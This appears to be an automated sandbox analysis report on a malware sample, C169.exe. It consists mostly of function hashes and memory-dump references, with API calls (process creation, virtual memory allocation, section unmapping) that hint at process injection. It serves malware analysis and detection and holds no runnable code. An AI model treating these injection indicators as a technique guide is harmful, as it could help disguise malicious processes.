Instruction ID: 992ab45c7683f82d8dd8e5f69a44c37f61596a1502dde5fc015a6bbc8ad7ad6c
Opcode Fuzzy Hash: fc087d152dcc711f440df254ccf2f7cb942efa6e4ef914473015d06245ac9577
Instruction Fuzzy Hash: 8DE0D8317047645FC704E759D449CAA7BED9F8870470249AEF486C7771EBA0EC008BD4

Uniqueness

Uniqueness Score: -1.00%

Function 0127EEB8, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c423b59a9c7a28ddefd47d160ce221ad9f9001a5e0e2d799c1138798feb2745
Instruction ID: f7fd73dafe39c33726282ccb98e65521e8ee12fe1f1b7cde45294b34338a1710
Opcode Fuzzy Hash: 5c423b59a9c7a28ddefd47d160ce221ad9f9001a5e0e2d799c1138798feb2745
Instruction Fuzzy Hash: F1E0123B35131437D724659A7C49F9BBA9DE7C9B61F14403EF709DB381C8A25C1487A8

Uniqueness

Uniqueness Score: -1.00%

Function 0129BEE8, Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5135902e87f20844658bc5f5c9cbfe0298481cda78b9500c2a23991cd5e5763d
Instruction ID: adf3ac116eacf39b655b0f437c4bd10328325c8306bef56359cd1ab5624b1830
Opcode Fuzzy Hash: 5135902e87f20844658bc5f5c9cbfe0298481cda78b9500c2a23991cd5e5763d
Instruction Fuzzy Hash: C2E04F327502101BE72896BDE414FA2B7ED6B45624F04487AE745CBA91DB62DC10CB94

Uniqueness

Uniqueness Score: -1.00%

Function 012916E0, Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926e2311b1f2936dea94155124b861623e28ad32be8f013145b2be10b6017c52
Instruction ID: 27109aa1a644bf244fdc8a472b85bc79b6a03a5ecfb0bffc08067f9a99cb2757
Opcode Fuzzy Hash: 926e2311b1f2936dea94155124b861623e28ad32be8f013145b2be10b6017c52
Instruction Fuzzy Hash: 7CF01E71C002198FCB40EFACE8056EEBBB8EF09200F50852AD959E7200E7309A658BD1

Uniqueness

Uniqueness Score: -1.00%

Function 01270918, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c741ae135113c600157e3bc00046cc88ee1b56d9087320eb856e8db8d5192652
Instruction ID: b1ac2d097d82601c5b823dada0c71d7ad21198f93dff1327826ebaff6ec7af27
Opcode Fuzzy Hash: c741ae135113c600157e3bc00046cc88ee1b56d9087320eb856e8db8d5192652
Instruction Fuzzy Hash: E1E04F752266518FE75A6BB4A6191787F62EA02312305149BE80ACB792CF399C44CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0129BBF8, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14d02da4c2d2be67f11a24db8495b0e35fe8991ac392971a7c8a6d689df8a7a2
Instruction ID: 2dcf1bb05c60d74f20d17bf817ba3fc8f68d8bc7454ef7a9b49a5820a586dd2e
Opcode Fuzzy Hash: 14d02da4c2d2be67f11a24db8495b0e35fe8991ac392971a7c8a6d689df8a7a2
Instruction Fuzzy Hash: A0E01A71E10218AF8B84EFBC94059EEBBF8AF58211B108166E959E3310E7309E14CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 012713F0, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e75c24c8b32a02d32b9d4c6e4a97e374b4c3e10906f6a87e68b8cc5e77267e85
Instruction ID: a9bcf4ca5b2bd2401dc0feabfdd89a25e428179966057b58a77c2a7f6e4ad3da
Opcode Fuzzy Hash: e75c24c8b32a02d32b9d4c6e4a97e374b4c3e10906f6a87e68b8cc5e77267e85
Instruction Fuzzy Hash: 50E0DF328107089EC700EFF8C4144DEBBF8EF84260F00865BE48DA7201FF70AA808691

Uniqueness

Uniqueness Score: -1.00%

Function 0127825A, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec299a61a45dea3f648a1bcea3a20bb4998f235c8d5fba21e37f828693e28156
Instruction ID: 1ecf10e16bc2c6734b8ad1df4d549e77a1e5c55f8885ed7b54bd36a059fc3da2
Opcode Fuzzy Hash: ec299a61a45dea3f648a1bcea3a20bb4998f235c8d5fba21e37f828693e28156
Instruction Fuzzy Hash: 7AE0C9B0E09388AFCB45DFA8D45955DBFF5AF49200F0180EAD859D7351E6388A44CF41

Uniqueness

Uniqueness Score: -1.00%

Function 01277980, Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e6bba28f3417b25c9e117e55a19efd2f23d39aa9d6d5c0e0eeea780a0b22d38
Instruction ID: abd544fb4ef260e5908439e2e391a0af40a1ce45130cd3d56571c63070bc190e
Opcode Fuzzy Hash: 6e6bba28f3417b25c9e117e55a19efd2f23d39aa9d6d5c0e0eeea780a0b22d38
Instruction Fuzzy Hash: 19E0EC313507249FC718EBADD458CAAB7EDEF8961830148AAF546C7721DEB1EC418BD4

Uniqueness

Uniqueness Score: -1.00%

Function 01278378, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2b9218e00e8ce8c4925987beef7e505a4aa3d661abde82bc526bbdb3f7e3b0a
Instruction ID: 40b1ec36d2c5487c29553611b5a0a1bc1d87a1c60d0b34363332fa0b676a29cf
Opcode Fuzzy Hash: a2b9218e00e8ce8c4925987beef7e505a4aa3d661abde82bc526bbdb3f7e3b0a
Instruction Fuzzy Hash: E0E01A74D04208AFCB04EFA4E44449CBBB5EB48204B0085AED819A7350DB312A09CF85

Uniqueness

Uniqueness Score: -1.00%

Function 01270928, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0587a722df2f4527ae811f068d321d48ab651f138db67951b8fa2bb6aa8eb051
Instruction ID: ee1413d6ca0ab44582eaa90eb9a84b766909dffcb5f2c856cf336514d906afcf
Opcode Fuzzy Hash: 0587a722df2f4527ae811f068d321d48ab651f138db67951b8fa2bb6aa8eb051
Instruction Fuzzy Hash: CFD0C231231111CB87042BF9B1090A97F9AEA012123000467F909C2300CF36CC00C790

Uniqueness

Uniqueness Score: -1.00%

Function 01277939, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 017f7b319e64c668c531466be499bfb11dde037aee1b4ba7c9444770724cb145
Instruction ID: fb5bc2e18859b3a90617a5c4fd99e11173530e188915cc754f921f4d21dde059
Opcode Fuzzy Hash: 017f7b319e64c668c531466be499bfb11dde037aee1b4ba7c9444770724cb145
Instruction Fuzzy Hash: C4D0C2312187109FC2049738E84489A37E8EB06694302009AF182CB272EB52AD008785

Uniqueness

Uniqueness Score: -1.00%

Function 01290650, Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be3f6d45c743155b1c2c576ac9f4bedc955bbc3eddeb00fd05b4b64996f815a5
Instruction ID: c891f94c90b0f8704c10ad7a52a4c57c7dc94de498e616a2080ebdb4999a296b
Opcode Fuzzy Hash: be3f6d45c743155b1c2c576ac9f4bedc955bbc3eddeb00fd05b4b64996f815a5
Instruction Fuzzy Hash: 55D017327101249F86049A5EE4088AABBEEEFC962532540AAE109C7362CA61EC028B90

Uniqueness

Uniqueness Score: -1.00%

Function 01278268, Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c19ada32f888685edba66513efa3727756d4ea53a41fcfa178926f45dc0f87f3
Instruction ID: 81daf92e14e41f90c6f69948fd968900bfe1cb9f4bd812fd2bd5ec50ee515484
Opcode Fuzzy Hash: c19ada32f888685edba66513efa3727756d4ea53a41fcfa178926f45dc0f87f3
Instruction Fuzzy Hash: CEE0B6B4E04208AFCB44EFA9D44549DFFF5EF48200F00C0AA9918E3340EA349A008F80

Uniqueness

Uniqueness Score: -1.00%

Function 01270830, Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3944542a323c2e7328bfb5633cc69cf2eb1e0983f8dd037ba0a744a6d75085e
Instruction ID: bec5008c40651a53e061399fa2dc2d2a997fe6a5be10b8a0eeb4cd529ecc30c4
Opcode Fuzzy Hash: a3944542a323c2e7328bfb5633cc69cf2eb1e0983f8dd037ba0a744a6d75085e
Instruction Fuzzy Hash: 28D0233011474C4FE742136458153353F36D7013027451457F25EC5653DF06D8088F31

Uniqueness

Uniqueness Score: -1.00%

Function 0127E720, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02b2352c94926d1eeba5c1ef26785e590825b02d498a1abb236f7af6df100666
Instruction ID: 44a665f2c1b74668c0cd7a841262c69b6fdb89b6096a68071f11e86f676382b4
Opcode Fuzzy Hash: 02b2352c94926d1eeba5c1ef26785e590825b02d498a1abb236f7af6df100666
Instruction Fuzzy Hash: 15D05E392003088FD744FBB4E5246263399EB8124D74150E5D64D8BA56CF75D8818A94

Uniqueness

Uniqueness Score: -1.00%

Function 0127C1E8, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1057860d13364c91343f5e94252e97f0755447c80e8af02252bae789cffe680
Instruction ID: 839102661101269349e25512cf224666af63cc61937ed57956a36ecea50fe579
Opcode Fuzzy Hash: d1057860d13364c91343f5e94252e97f0755447c80e8af02252bae789cffe680
Instruction Fuzzy Hash: C5D017B4D1520D8F8B84EFF894421AEBFF4AB08600F10826A891CE7700E6704A908BD2

Uniqueness

Uniqueness Score: -1.00%

Function 012782A0, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c769298dc6d18ee8cd9d6a9048182f8608d44820932760659c9f0f9879427c40
Instruction ID: e5669ba02b0c95c45552e0d4302b191942d0d5263d5f6b0a7f2c90c59b9def2b
Opcode Fuzzy Hash: c769298dc6d18ee8cd9d6a9048182f8608d44820932760659c9f0f9879427c40
Instruction Fuzzy Hash: 5CD0A761D0D288BF8701CBE1986549A7BB9CF02144B4285EFCC85E7102FE219E0487E6

Uniqueness

Uniqueness Score: -1.00%

Function 012774FF, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fcd61b7eb3385ea1c167a47b48acfa6e2dda31579dbf52e0f9922533e9648bd
Instruction ID: 6235302e55f28364f2c343e47c2ba942ca973bd04c0f74dca436a6304d8bf349
Opcode Fuzzy Hash: 1fcd61b7eb3385ea1c167a47b48acfa6e2dda31579dbf52e0f9922533e9648bd
Instruction Fuzzy Hash: B7D05E330606089EC711BA78D8856E87F78AF24701F508225E44367300EA21A4568744

Uniqueness

Uniqueness Score: -1.00%

Function 012774D2, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb65625c0c5f6612f55ecdc967eed9a7c3d78e3fc187f6711109207fd7fa72bb
Instruction ID: 7d403c6d3156040447f1dba5870df23456c51387b371caf06a7370dd3b9d9cf3
Opcode Fuzzy Hash: fb65625c0c5f6612f55ecdc967eed9a7c3d78e3fc187f6711109207fd7fa72bb
Instruction Fuzzy Hash: C7D05E3260878C9FC702FB78D81585A7F78EF5320074591EAD0869B563FB20A95ECB91

Uniqueness

Uniqueness Score: -1.00%

Function 0127E7B8, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f12902702829bfcdffd78470f692f9669b6b189840745ca426265cfe3e7377c
Instruction ID: 7f495d4e1a1ab6cae92da2e2909a7f416a4d7312fb8a8ae370f208b15faf9eef
Opcode Fuzzy Hash: 9f12902702829bfcdffd78470f692f9669b6b189840745ca426265cfe3e7377c
Instruction Fuzzy Hash: 43D0C92462B3E88FEF03F27555781652F318B47209B0A10D7D195CA9ABC518844D9B25

Uniqueness

Uniqueness Score: -1.00%

Function 01277948, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14d3f31c87837ed106bc19d7dc86dd7a86586949aec70dc7c3457e28194de613
Instruction ID: 1573d7913852b5536bca20cb39e04435b2402f30cdf1720fe19f1b34a519d61b
Opcode Fuzzy Hash: 14d3f31c87837ed106bc19d7dc86dd7a86586949aec70dc7c3457e28194de613
Instruction Fuzzy Hash: 92D0A7302206248FC7049B69E4048D877DCAF49654300045AF146C7331DF61AC0087C4

Uniqueness

Uniqueness Score: -1.00%

Function 012782B0, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c748b54b001ac4fe6feae9b24d50002df0ad669879bb19a4ea050cf8ea03d362
Instruction ID: 6b150c6420acb13ac86fd361c17c93690d6ada460ca41762b168bf05e46d896e
Opcode Fuzzy Hash: c748b54b001ac4fe6feae9b24d50002df0ad669879bb19a4ea050cf8ea03d362
Instruction Fuzzy Hash: C0C08C71D0420CAB0700DFE298214AEB3AECB41114B408AA9CD89A7200EE32AE0002EA

Uniqueness

Uniqueness Score: -1.00%

Function 01270840, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46d202fe38950f837baa2754d7b050b24aa6e2cd17c191510139de203a987dc8
Instruction ID: 3501cc1fdafde0eb789fcd8d3023fc2f0cbd7fa7a1a48407f62a76ffbf550c90
Opcode Fuzzy Hash: 46d202fe38950f837baa2754d7b050b24aa6e2cd17c191510139de203a987dc8
Instruction Fuzzy Hash: 17C08C302305094BEB001AB8B80A33B3B4EE740302B440826F21DC1240DE2688209560

Uniqueness

Uniqueness Score: -1.00%

Function 01296CF0, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80557bbca1193bac85cbe30d1fcc67d82487a6e4c777b2c58cdd1e468184c592
Instruction ID: 22e3c9ce1a6653094335149623c64f86b45218c74f233361286d0daeebac7942
Opcode Fuzzy Hash: 80557bbca1193bac85cbe30d1fcc67d82487a6e4c777b2c58cdd1e468184c592
Instruction Fuzzy Hash: E9C08030551105CFC7109B58F40C85837A8EF9411531440A1F51C47636D731DC408740

Uniqueness

Uniqueness Score: -1.00%

Function 01277510, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f48c307c249379a7cb429f1a1b6f105a3547928ad15b170e21fdedb0cec311f2
Instruction ID: 3c8f1c7b24c575bb72f1addef9ae2e96472528a8ce6754756b093270810eecd9
Opcode Fuzzy Hash: f48c307c249379a7cb429f1a1b6f105a3547928ad15b170e21fdedb0cec311f2
Instruction Fuzzy Hash: EFC0123241060C8EC740BAA8E4088A9BBB8BB15301B00822AE4452A200FB20A1A9CB91

Uniqueness

Uniqueness Score: -1.00%

Function 012774E0, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.570603705.0000000001270000.00000040.00000010.sdmp, Offset: 01270000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3104c4b1073b969273c0fa178cf7bf65bcdd877962ebf4228ff331a7b3c061a
Instruction ID: 5034e78efe455ce9cc8e0c3103c8ba187d8a094b653bd90491c5597a74e8bf34
Opcode Fuzzy Hash: a3104c4b1073b969273c0fa178cf7bf65bcdd877962ebf4228ff331a7b3c061a
Instruction Fuzzy Hash: 54C0123141060C8EC700BAA8E408899BBB8BB15301B40926AE44A2A110FB30B5A9CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01299F80, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7ee8926cbbf0bf4363fdcdca123210d9be290648683e412e620f51d7ccedd11
Instruction ID: 2dec5a42ab46998ce7d8bd946ebd0dcaceb22c35c6b34f10b3d6b123b714f528
Opcode Fuzzy Hash: b7ee8926cbbf0bf4363fdcdca123210d9be290648683e412e620f51d7ccedd11
Instruction Fuzzy Hash: 70B09B3150130587C61477A5F41D419F769E744605300C055D40A47645DF71A8018A44

Uniqueness

Uniqueness Score: -1.00%

Function 0129D3E8, Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.572574056.0000000001290000.00000040.00000010.sdmp, Offset: 01290000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260b12f00b7b14a5edf98c1e4bb6ebbc56a42162d7b60f8477e0009e93330adf
Instruction ID: 350f85595a25c412988be6111543e917613060749720ddd2b54be54a8b3d35e2
Opcode Fuzzy Hash: 260b12f00b7b14a5edf98c1e4bb6ebbc56a42162d7b60f8477e0009e93330adf
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 013F3E84, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.578581898.00000000013DD000.00000040.00020000.sdmp, Offset: 012E0000, based on PE: true

Associated: 0000000B.00000002.573250917.00000000012E0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.575965831.0000000001315000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.576235273.0000000001316000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576371958.000000000131A000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.578717423.00000000013F7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0830c979dd1c907fa28d885ec4eccc01a4d10bc41b998abf8035b2457b44e0d
Instruction ID: ed5bf674c03e7f72a7268f8782104ab9e42438a38a91a8df48dc134c7a45a180
Opcode Fuzzy Hash: c0830c979dd1c907fa28d885ec4eccc01a4d10bc41b998abf8035b2457b44e0d
Instruction Fuzzy Hash: 8C11C435A01146CFCB15CE24C410ABAB3B6FFDA704F28D1BCDE4897600EB319AA2DB44

Uniqueness

Uniqueness Score: -1.00%

Function 013F3DDD, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.578581898.00000000013DD000.00000040.00020000.sdmp, Offset: 012E0000, based on PE: true

Associated: 0000000B.00000002.573250917.00000000012E0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.575965831.0000000001315000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.576235273.0000000001316000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576371958.000000000131A000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.578717423.00000000013F7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60a92eb3901b7805d74278a2be368c00a6f077b696caf44abf2840999d3c71ff
Instruction ID: 54ce1dc478ee26599b3e9ede0d7cb639726c3c24d17e132c2b382572f3701ff6
Opcode Fuzzy Hash: 60a92eb3901b7805d74278a2be368c00a6f077b696caf44abf2840999d3c71ff
Instruction Fuzzy Hash: 0C11A135A001468FCB15CE24C450AAAB7B6FFEA704F18D1BCDD499B600D6319A62DA40

Uniqueness

Uniqueness Score: -1.00%

Function 013F2823, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.578581898.00000000013DD000.00000040.00020000.sdmp, Offset: 012E0000, based on PE: true

Associated: 0000000B.00000002.573250917.00000000012E0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.575965831.0000000001315000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.576235273.0000000001316000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576371958.000000000131A000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.578717423.00000000013F7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30c26d74b95b95b34bacb08f16c3440d80b9ba08c322dd7f80962666984043a4
Instruction ID: dd6b5f1eb3bb8a355b77e794a224aab45c6c3f9b80b9b94e475e2bc7c88fb465
Opcode Fuzzy Hash: 30c26d74b95b95b34bacb08f16c3440d80b9ba08c322dd7f80962666984043a4
Instruction Fuzzy Hash: C0D012DB3251111BF714D4792CD4B634A8BA7C0235F35CC3DF141C2A95D239C5641020

Uniqueness

Uniqueness Score: -1.00%

Function 013E8309, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.578581898.00000000013DD000.00000040.00020000.sdmp, Offset: 012E0000, based on PE: true

Associated: 0000000B.00000002.573250917.00000000012E0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.575965831.0000000001315000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.576235273.0000000001316000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576371958.000000000131A000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.578717423.00000000013F7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e645930adc1a921b9d81066d0cade562770caf2069f8e439d90a1804e491b32b
Instruction ID: 992a5a7bad10ae749bda2601063bb087cc316594fa3144b3e9fc2796ce210867
Opcode Fuzzy Hash: e645930adc1a921b9d81066d0cade562770caf2069f8e439d90a1804e491b32b
Instruction Fuzzy Hash: EFB0125CC0939315CB031E6408AC179D4F8BC53618BD73DE18000E70F2F70AC0054008

Uniqueness

Uniqueness Score: -1.00%

Function 013E8386, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.578581898.00000000013DD000.00000040.00020000.sdmp, Offset: 012E0000, based on PE: true

Associated: 0000000B.00000002.573250917.00000000012E0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.575965831.0000000001315000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.576235273.0000000001316000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576371958.000000000131A000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.578717423.00000000013F7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11d708978f087baad4a38f85156e12f2f858f213302e5adf734b728794998adc
Instruction ID: 0eb931acc9a50d616a3d385465d1fef539d697f639a4526b76107e4d540ded4b
Opcode Fuzzy Hash: 11d708978f087baad4a38f85156e12f2f858f213302e5adf734b728794998adc
Instruction Fuzzy Hash: 24B0124F25B3038BF345003A94E2BDF02C5E704391F4644245915C50C0E60DCEE5B010

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: C169.exe PID: 6276 Parent PID: 3352 C169.exeCOMMON

Executed Functions

Function 05212AF0, Relevance: 2.6, APIs: 1, Instructions: 1071processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,?,?,?,0000000A,?,?,0000010B,?,?,?,?), ref: 05213ABE

Memory Dump Source

Source File: 00000010.00000002.504612426.0000000005210000.00000040.00000001.sdmp, Offset: 05210000, based on PE: false

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 3d821a2b1af9be12801eff85d84fcc4cfea4f0becd94ad03e9e87a41ae2ebcad
Instruction ID: 9a44cf6f75ac9610709fe0b1bbf858451f25949113198c70d575709384f91373
Opcode Fuzzy Hash: 3d821a2b1af9be12801eff85d84fcc4cfea4f0becd94ad03e9e87a41ae2ebcad
Instruction Fuzzy Hash: 16A22B74B01218DFDB54DF25C990AAEB7B3EF98304F1485A9D409AB294DF75AE82CF40

Uniqueness

Uniqueness Score: -1.00%

Function 05215363, Relevance: 1.6, APIs: 1, Instructions: 62memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(?,?,?,?,?,?), ref: 052153EB

Memory Dump Source

Source File: 00000010.00000002.504612426.0000000005210000.00000040.00000001.sdmp, Offset: 05210000, based on PE: false

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: f89d3171246e06423280cd586050d774dd4c0ecb79ee2fd25111e9558d172968
Instruction ID: 38988a0e5ced8750d743a9439bc754bb9a0dcf3932a83fef54d80ae6343e79ff
Opcode Fuzzy Hash: f89d3171246e06423280cd586050d774dd4c0ecb79ee2fd25111e9558d172968
Instruction Fuzzy Hash: 712114B19002099FCF10CFAAD884ADEBBF9FF48214F54842EE919A3210C7759954CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 05215368, Relevance: 1.6, APIs: 1, Instructions: 61memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(?,?,?,?,?,?), ref: 052153EB

Memory Dump Source

Source File: 00000010.00000002.504612426.0000000005210000.00000040.00000001.sdmp, Offset: 05210000, based on PE: false

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: abfb2fee7dce632028e06586bfbb13c2b1647d58051394c2b74a1285e6052c09
Instruction ID: 88cc4b10f9fff99d794c6635e0bdac66c8c39ecbab9ded92d8bf22cb3aa77339
Opcode Fuzzy Hash: abfb2fee7dce632028e06586bfbb13c2b1647d58051394c2b74a1285e6052c09
Instruction Fuzzy Hash: 6C21E4B19002099FCF10CFAAD884ADEBBF9BF48214F54842AE919A7250D7759954CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 052152A8, Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL(?,?), ref: 05215315

